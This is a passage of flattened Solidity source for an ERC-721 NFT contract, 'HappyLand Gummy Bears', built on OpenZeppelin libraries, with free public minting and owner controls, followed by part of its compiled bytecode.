of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity >=0.6.0 <0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: contracts/HappyL.sol pragma solidity >=0.6.0 <0.8.0; contract HappyLandGummyBears is ERC721, Ownable { using Counters for Counters.Counter; using SafeMath for uint256; uint256 public MAX_BEARS = 9600; bool public saleIsActive = false; Counters.Counter private _tokenIdCounter; constructor() ERC721("HappyLand Gummy Bears Official", "HLGB") { _setBaseURI("https://happylandgummybears.s3.us-west-2.amazonaws.com/"); uint i; for (i = 0; i < 95; i++) { safeMint(msg.sender); } } function safeMint(address to) private { _safeMint(to, _tokenIdCounter.current()); _tokenIdCounter.increment(); } function mintBears() public { require(saleIsActive, "Sale must be active to mint Bears"); require(totalSupply().add(1) <= MAX_BEARS, "Purchase would exceed max supply of Bears"); if (_tokenIdCounter.current() < MAX_BEARS) { safeMint(msg.sender); } } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80636352211e116100de578063a22cb46511610097578063da649ed711610071578063da649ed714610961578063e985e9c51461097f578063eb8d2444146109f9578063f2fde38b14610a1957610173565b8063a22cb46514610765578063b88d4fde146107b5578063c87b56dd146108ba57610173565b80636352211e146105715780636c0360eb146105c957806370a082311461064c578063715018a6146106a45780638da5cb5b146106ae57806395d89b41146106e257610173565b80632f4e937d116101305780632f4e937d146103905780632f745c591461039a57806334918dfd146103fc57806342842e0e146104065780634f6ccce71461047457806355f804b3146104b657610173565b806301ffc9a71461017857806306fdde03146101db578063081812fc1461025e578063095ea7b3146102b657806318160ddd1461030457806323b872dd14610322575b600080fd5b6101c36004803603602081101561018e57600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610a5d565b60405180821515815260200191505060405180910390f35b6101e3610ac4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610223578082015181840152602081019050610208565b50505050905090810190601f1680156102505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61028a6004803603602081101561027457600080fd5b8101908080359060200190929190505050610b66565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610302600480360360408110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c01565b005b61030c610d45565b6040518082815260200191505060405180910390f35b61038e6004803603606081101561033857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d56565b005b610398610dcc565b005b6103e6600480360360408110156103b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec5565b6040518082815260200191505060405180910390f35b610404610f20565b005b6104726004803603606081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffb565b005b6104a06004803603602081101561048a57600080fd5b810190808035906020019092919050505061101b565b6040518082815260200191505060405180910390f35b61056f600480360360208110156104cc57600080fd5b81019080803590602001906401000000008111156104e957600080fd5b8201836020820111156104fb57600080fd5b8035906020019184600183028401116401000000008311171561051d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061103e565b005b61059d6004803603602081101561058757600080fd5b81019080803590602001909291905050506110f9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105d1611130565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106115780820151818401526020810190506105f6565b50505050905090810190601f16801561063e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61068e6004803603602081101561066257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d2565b6040518082815260200191505060405180910390f35b6106ac6112a7565b005b6106b6611417565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106ea611441565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072a57808201518184015260208101905061070f565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107b36004803603604081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506114e3565b005b6108b8600480360360808110156107cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561083257600080fd5b82018360208201111561084457600080fd5b8035906020019184600183028401116401000000008311171561086657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611699565b005b6108e6600480360360208110156108d057600080fd5b8101908080359060200190929190505050611711565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092657808201518184015260208101905061090b565b50505050905090810190601f1680156109535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109696119e2565b6040518082815260200191505060405180910390f35b6109e16004803603604081101561099557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e8565b60405180821515815260200191505060405180910390f35b610a01611a7c565b60405180821515815260200191505060405180910390f35b610a5b60048036036020811015610a2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a8f565b005b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b5c5780601f10610b3157610100808354040283529160200191610b5c565b820191906000526020600020905b815481529060010190602001808311610b3f57829003601f168201915b5050505050905090565b6000610b7182611d3c565b610bc6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613281602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610c0c826110f9565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133056021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610cb2611d59565b73ffffffffffffffffffffffffffffffffffffffff161480610ce15750610ce081610cdb611d59565b6119e8565b5b610d36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806131d46038913960400191505060405180910390fd5b610d408383611d61565b505050565b6000610d516002611e1a565b905090565b610d67610d61611d59565b82611e2f565b610dbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806133266031913960400191505060405180910390fd5b610dc7838383611f23565b505050565b600c60009054906101000a900460ff16610e31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133806021913960400191505060405180910390fd5b600b54610e4f6001610e41610d45565b61216690919063ffffffff16565b1115610ea6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806133576029913960400191505060405180910390fd5b600b54610eb3600d611c84565b1015610ec357610ec2336121ee565b5b565b6000610f1882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061220e90919063ffffffff16565b905092915050565b610f28611d59565b73ffffffffffffffffffffffffffffffffffffffff16610f46611417565b73ffffffffffffffffffffffffffffffffffffffff1614610fcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600c60009054906101000a900460ff1615600c60006101000a81548160ff021916908315150217905550565b61101683838360405180602001604052806000815250611699565b505050565b60008061103283600261222890919063ffffffff16565b50905080915050919050565b611046611d59565b73ffffffffffffffffffffffffffffffffffffffff16611064611417565b73ffffffffffffffffffffffffffffffffffffffff16146110ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110f681612254565b50565b60006111298260405180606001604052806029815260200161323660299139600261226e9092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111c85780601f1061119d576101008083540402835291602001916111c8565b820191906000526020600020905b8154815290600101906020018083116111ab57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061320c602a913960400191505060405180910390fd5b6112a0600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061228d565b9050919050565b6112af611d59565b73ffffffffffffffffffffffffffffffffffffffff166112cd611417565b73ffffffffffffffffffffffffffffffffffffffff1614611356576040517f08c379a000000000000000000000000000000000000